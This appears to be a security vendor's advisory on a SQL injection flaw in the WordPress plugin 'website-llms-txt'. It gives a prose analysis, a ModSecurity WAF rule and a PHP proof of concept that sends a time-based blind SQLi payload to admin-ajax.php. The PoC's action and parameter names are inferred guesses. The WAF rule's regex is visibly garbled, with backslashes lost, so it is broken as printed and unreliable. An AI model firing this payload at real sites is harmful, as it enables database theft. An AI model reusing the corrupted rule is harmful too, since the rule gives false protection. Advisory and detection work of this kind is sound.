Atomic Edge analysis of CVE-2026-27068 (metadata-based):
This vulnerability is a critical security flaw in the WordPress plugin ‘website-llms-txt’. The vulnerability description indicates an unauthenticated attacker can execute arbitrary SQL commands via an insecure AJAX endpoint. This constitutes a classic SQL Injection (SQLi) vulnerability, likely due to improper sanitization of user-supplied input before database query construction.
Atomic Edge research infers the root cause is insufficient input validation and the use of unsanitized user input directly within SQL queries. The CWE classification points to CWE-89 (SQL Injection). Without a code diff, this conclusion is inferred from the vulnerability description and the common WordPress plugin pattern of using `$wpdb->query()` or `$wpdb->get_results()` with unescaped parameters. The plugin likely registers an AJAX action hook accessible to unauthenticated users (`wp_ajax_nopriv_*`) and directly concatenates user-controlled parameters into an SQL string.
Exploitation would target the WordPress AJAX handler at `/wp-admin/admin-ajax.php`. The attacker sends a POST request with the `action` parameter set to a value derived from the plugin slug, such as `website_llms_txt_action` or a similar pattern. The malicious SQL payload would be placed in another POST parameter, like `id` or `query`. A typical payload would be a UNION-based or time-based blind SQL injection to extract data from the WordPress database, including user credentials and sensitive plugin data.
Remediation requires implementing proper input validation and using prepared statements via the WordPress `$wpdb` class. The fix should replace direct string concatenation in SQL queries with `$wpdb->prepare()` statements. The vulnerable AJAX endpoint must also be reviewed for proper capability checks, ensuring it is not exposed to unauthenticated users unless absolutely necessary. Parameterized queries are the only reliable defense against SQL injection in this context.
Successful exploitation grants an attacker full read access to the WordPress database. This leads to complete exposure of sensitive data, including hashed user passwords, personal information, and any custom data stored by the plugin. In configurations where the database user has write permissions, an attacker could escalate privileges by modifying user roles, creating administrative accounts, or achieving remote code execution by writing PHP code into plugin files or the database for subsequent execution.
Here you will find our ModSecurity compatible rule to protect against this particular CVE.
# Atomic Edge WAF Rule - CVE-2026-27068 (metadata-based)
# This rule blocks exploitation of the SQL injection via the plugin's AJAX endpoint.
# It matches the specific AJAX action inferred from the plugin slug and detects common SQL injection patterns in the POST parameter 'injectable_param'.
SecRule REQUEST_URI "@streq /wp-admin/admin-ajax.php"
"id:202627068,phase:2,deny,status:403,chain,msg:'CVE-2026-27068: SQL Injection via website-llms-txt plugin AJAX handler',severity:'CRITICAL',tag:'CVE-2026-27068',tag:'wordpress',tag:'plugin',tag:'website-llms-txt',tag:'attack.sql-injection'"
SecRule ARGS_POST:action "@streq website_llms_txt_process" "chain"
SecRule ARGS_POST:injectable_param "@rx (?i:(b(union|select|insert|update|delete|drop|alter|create|rename|truncate|load_file|outfile)b|(sleeps*(|benchmarks*(|pg_sleeps*()|('s*ors*['d]|b(and|or)s+[d'"]+[=<>])|(b(if|case)s*(|b(select|union)s+[ws,]*from)|(/*![d]{5}|/*![ws]**/)))"
"setvar:'tx.anomaly_score_pl1=+%{tx.critical_anomaly_score}',setvar:'tx.sql_injection_score=+%{tx.critical_anomaly_score}'"
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2026-27068 - website-llms-txt SQL Injection
<?php
/**
* Proof of Concept for CVE-2026-27068.
* Assumptions based on metadata:
* 1. The plugin registers an AJAX action hook accessible without authentication (wp_ajax_nopriv_).
* 2. The action name likely contains the plugin slug 'website_llms_txt'.
* 3. A POST parameter (here named 'injectable_param') is vulnerable to SQL injection.
* 4. The target is a standard WordPress installation.
*/
$target_url = 'http://target-site.com/wp-admin/admin-ajax.php'; // CHANGE THIS
// The AJAX action is inferred from the plugin slug. Common patterns are used.
$ajax_action = 'website_llms_txt_process';
// Time-based blind SQL injection payload to confirm vulnerability.
// This payload causes a 5-second delay if the database is MySQL/MariaDB.
$sql_payload = "1' AND SLEEP(5) AND '1'='1";
$post_data = array(
'action' => $ajax_action,
'injectable_param' => $sql_payload // Assumed vulnerable parameter name
);
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $target_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $post_data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Measure response time to detect sleep injection.
$start_time = microtime(true);
$response = curl_exec($ch);
$end_time = microtime(true);
$elapsed = $end_time - $start_time;
curl_close($ch);
if ($elapsed >= 5) {
echo "[+] Vulnerability likely CONFIRMED. Response delayed by {$elapsed} seconds.n";
echo "[+] Response snippet: " . substr($response, 0, 500) . "n";
} else {
echo "[-] Target may not be vulnerable or a different parameter/action is needed.n";
echo "[-] Response time: {$elapsed} seconds.n";
}
?>
